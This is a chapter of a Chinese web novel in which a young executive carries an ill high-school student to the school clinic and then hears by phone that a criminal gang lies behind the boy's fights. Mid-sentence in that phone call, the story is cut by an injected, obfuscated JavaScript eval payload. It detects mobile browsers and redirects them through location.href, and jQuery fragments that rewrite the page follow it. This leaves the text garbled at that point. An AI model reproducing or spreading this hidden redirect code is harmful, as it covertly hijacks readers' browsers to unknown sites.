16.第 16 章

作品:《易燃关系

    四目相对间,易继勋从男人眼底捕捉到一丝近乎后怕余悸的震颤。


    那情绪稍纵即逝,快得像幻觉。


    下课铃刚响过,楼梯间里挤满了穿着蓝白校服的学生,密密麻麻的人影顺着台阶往下涌,像流动的潮水。


    西装革履的男人却逆着人流,长腿一迈,两步并作三步地往上走。


    一个抱着作业本的男生慌慌张张地撞过来,踉跄着站稳,大大咧咧地扬声:“不好意思啊!”


    男人只是淡淡抬了抬手,做了个“没关系”的手势。


    下一秒,男人已经面对面站在了易继勋面前。


    易继勋皱紧眉,想不通沈知珩怎么会找到这里来,难不成那些保镖都跟到学校里来了?


    少年没打算理他,松开扶着扶手的手,脚步略显虚浮地准备绕过去。


    手腕却被男人一把攥住。


    易继勋胸腔微微起伏,深吸了一口气,冷声道:“松手。”


    男人的手劲儿大得惊人,谁能想到那双手骨节分明、看着清隽修长,攥人的时候居然有如此骇人的力道。


    易继勋此刻浑身发软,挣了两下没挣开,反而因为力道失衡,身体不受控制地往后倒去。


    眼看就要摔在台阶上滚下去,男人手腕一翻,另一只手揽住了他的腰。


    掌心的温度透过薄薄的衬衫传过来,烫得易继勋浑身一僵。


    少年素来反感这种亲密的触碰,几乎是瞬间就绷紧了脊背。


    男人像是察觉到他的抗拒,手没多作停留,很快就收了回去。


    两人这一番拉扯,全被后面的陈续看了个一清二楚。


    他记得这个戴银框眼镜的男人,之前在警局见过一次,后来在网吧也碰过面。


    陈续像是看到了救星,连忙堆起一脸讨好的笑:“哥!你是易哥的哥哥吧?可算把你盼来了!”


    沈知珩微微颔首,目光落在脸色苍白的少年身上:“你们的教室在五楼,教学楼到校医院也有几百米,就你现在这个样子,自己走得下去?”


    “你怎么知道我不行?”易继勋难受得厉害,却还是强撑着,装作一副没事人的样子,眉尾微微扬起,“你是我肚子里的蛔虫吗?”


    两人就这么僵着,谁也不肯退让一步。


    沈知珩没再跟他掰扯,左臂稳稳地揽住少年的后背,右手穿过膝弯,稍一用力就将人打横抱了起来。


    易继勋的身体瞬间僵成了一块石头。


    他下意识地绷紧肌肉,想跟沈知珩对抗,可浑身酸软的力道根本不允许,只能眼睁睁看着自己被他抱在怀里。


    没错,就是那种最让他难堪的公主抱。


    身后传来陈续倒吸冷气的惊呼,隐约还能听到他小声嘀咕:“我靠,这力气也太牛了吧……”


    易继勋心里咯噔一下,一股羞恼劲儿直冲头顶。


    他一个大老爷们,居然被人这么抱着?!


    漆黑的眸子燃着一层怒意,恶狠狠瞪着沈知珩,牙关咬得咯吱响:“还不快放老子下来。”


    沈知珩面无表情地垂眸看了他一眼,没说话,脚步稳稳地朝着楼梯口走去。


    两方对峙间,沈知珩的态度不容拒绝,易继勋最后还是拿他没什么办法。


    他浑身别扭,分不清是身上的疼,还是憋着一股无处发泄的火气。


    易继勋觉得活了这么大没这么丢人过,这么多人看着,他脸色青一阵白一阵,恨不得找个地缝钻进去。


    躲不掉就只能选择逃避。他咬着后槽牙,极不情愿地将脸侧埋进沈知珩的胸口,闭着眼睛装睡。


    男人身上淡淡的古龙香,随着胸腔的起伏漫进他的鼻腔,熨帖的体温透过薄薄的衬衫渗过来,烫得他耳尖微微泛起了红。


    总感觉奇奇怪怪的。


    *


    三高中校医院。


    易继勋被沈知珩抱到了校医院的床上,空气中飘着消毒水和医用酒精混合的清冷气味。


    正午的阳光透过玻璃,懒洋洋地洒在白色床单上。


    接诊的是个头发花白的男医生,他先是抬手探了探易继勋的额头,又拿出听诊器贴在他胸口听了半晌,随后翻开他的眼皮检查瞳孔,最后麻利地拿出针管配好药水,在他手背上找好血管扎了进去,冰凉的液体顺着软管缓缓流入血管。


    老医生直起身,看着躺在床上的少年,皱着眉开口:“你最近是不是饮食极不规律,饥饱失常?”


    易继勋眼睑微垂,视线落在床沿,一副不愿多言的冷淡模样,顿了下,才从喉咙里挤出一声沉沉的“嗯”。


    医生性子刻板又严谨,凡事都要追根究底,又继续道:“所以中午进食油腻刺激性食物后,才会引发肠胃痉挛。你才十几岁,正是身体发育的关键时期,这么不爱惜身体,日后脏腑功能受损,可是要落下病根的。”


    易继勋觉得他唠叨得厉害,却没心思顶嘴,目光轻轻一抬,恰好撞上沈知珩投过来的视线。


    两人眼神在空中短暂交汇一瞬,易继勋冷哼一声移开目光,盯着点滴管里缓慢下坠的水珠,数着一下一下的节奏。


    最后医生瞥见他布满疤痕的手臂,无奈道:“这都降温了,天气这么凉,还穿这么少,不怕冻着?”


    说罢,他又看向站在床边的沈知珩,神色严肃:“你是他的家人吧?回去多督促他按时吃饭,注意保暖,三餐清淡些。还有,他手臂上的伤,记得提醒他按时擦药。”


    沈知珩微微颔首,轻声应了句“好”。


    床上的少年忍不住闷哼了一声,低声说了句“用不着他多管闲事”。


    就在这时,沈知珩的手机响了起来。


    他看了一眼来电显示,是王浩然,随即转身轻手轻脚地拉开门,走到走廊上接电话。


    *


    一个小时前,沈知珩正在公司开高层会议,开到一半时,手机突然震动起来,是司机李师傅的电话。


    他起身走到会议室门外接起电话,那头立刻传来李师傅焦急的声音:“沈总,不好了!刚才有学生打电话来说,易少在教学楼走廊上靠墙睡着了。您看我要不要过去送床被子或是厚点的衣服?天凉,再这么睡下去,怕是要冻感冒。”


    沈知珩眸色微沉,瞬间猜到易继勋定是身体不舒服,才会在走廊上昏睡过去。


    易继勋是董事长的儿子,不能出半点差错。于是,他头一次在会议开到一半时,转身回会议室简单交代了两句,便匆匆离开公司,赶来了学校。


    他站在走廊窗前,接起王浩然的电话。


    听筒里传来对方的声音:“沈哥,你放心,剩下的会议没什么重要事项,我都安排妥当了。”顿了顿,王浩然的声音瞬间严肃下来:“对了沈哥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282809|197641||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,前段时间你让我查的,易少在KTV、台球厅还有网吧里起冲突的那群人的身份,我有结果了。”


    沈知珩握着手机的指尖微微收紧。


    只听王浩然继续说道:“他们是一个犯罪团伙,大概有十多个人,领头的叫张禄。这人早年就在街头混,干过寻衅滋事、聚众斗殴的事,后来慢慢洗白,开了不少娱乐场所当幌子,暗地里搞非法放贷、强迫交易这些违法的勾当,一直躲在背后操控整个团队。另外,有可靠线索说,张禄多年前还涉嫌故意杀人,只是这案子过去太久,证据都没了,没法立案追究。”


    沈知珩沉默片刻,声音没有一丝温度:“这事别声张,你先把查到的所有线索整理好,加密存好。密切关注这个团伙的一举一动,尤其不能让他们再跟易继勋有任何冲突。最后,帮我谢谢你父亲王局,麻烦他多费心了。”


    “好,”王浩然像是突然想起什么,好奇道,“沈哥,我还有个事想问你,你怎么看出台球厅的女经理和这个团伙有关联的?我后续核查确认,他们确实存在密切往来,频繁通过隐秘渠道联系,我觉得,或许可以从她身上找到案件的突破口。”


    沈知珩低眸,回想起那天在警局的场景。


    他撞见那个女人与涉案的几名团伙成员交谈,双方神态熟稔,肢体语言默契,绝非普通的经营者与顾客关系。


    他淡声道:“看他们的相处状态就知道了,过分熟络,本身就不正常。”


    ......


    挂断电话后,沈知珩没有立马回校医院病房。


    他目光漫过楼下的三高中校园,视线掠过操场、林荫道,最终落在错落排布的教学楼上.


    最显眼的是主楼顶端那座时钟,时针缓缓转动,将细碎的阳光反射得四处散落。


    他眸光沉沉,晦暗不明。


    *


    易继勋靠在床头,刚给老刘回完一条微信。


    聊天框里,老刘的消息还停留在屏幕上:【臭小子,咋样了,要不要我过去看看你】。


    易继勋:【不用,我没事了。】


    老刘又发过来一条:【那行,赶紧回家歇着去,反正你小子上课也是摸鱼,还不如回去养着。】


    点滴打完了,医生进来拔了针,用棉签按住他手背上的针孔,叮嘱了两句注意事项便离开了。


    易继勋活动了一下手腕,只觉得胃里的绞痛完全消失了,身子也轻快了不少。


    他刚要下床,病房门就被推开。


    沈知珩走了进来。


    他心里清楚,自己确实该跟沈知珩说声谢谢。


    看样子对方是特意从公司赶来,还帮他处理了不少事。


    他又不是白眼狼,自然知道感恩。


    可那句“谢谢”卡在喉咙里,反复打转,怎么也说不出口。


    沉默半晌,易继勋索性装作没看见沈知珩,面无表情地擦着男人的肩膀就往门外走。


    刚走到走廊尽头,身后传来沈知珩平缓的声音:“易少,今天别勉强自己上课了,我送你回去休息吧。”


    易继勋闻声脚步微顿。


    肩头忽然传来一阵轻压感。


    他眸光一滞,低头发现,那件带着清冽香水味的西装搭在了身上。


    还未散尽的体温顺着布料的纹路丝丝缕缕漫上来,熨帖得他指尖都微微发僵。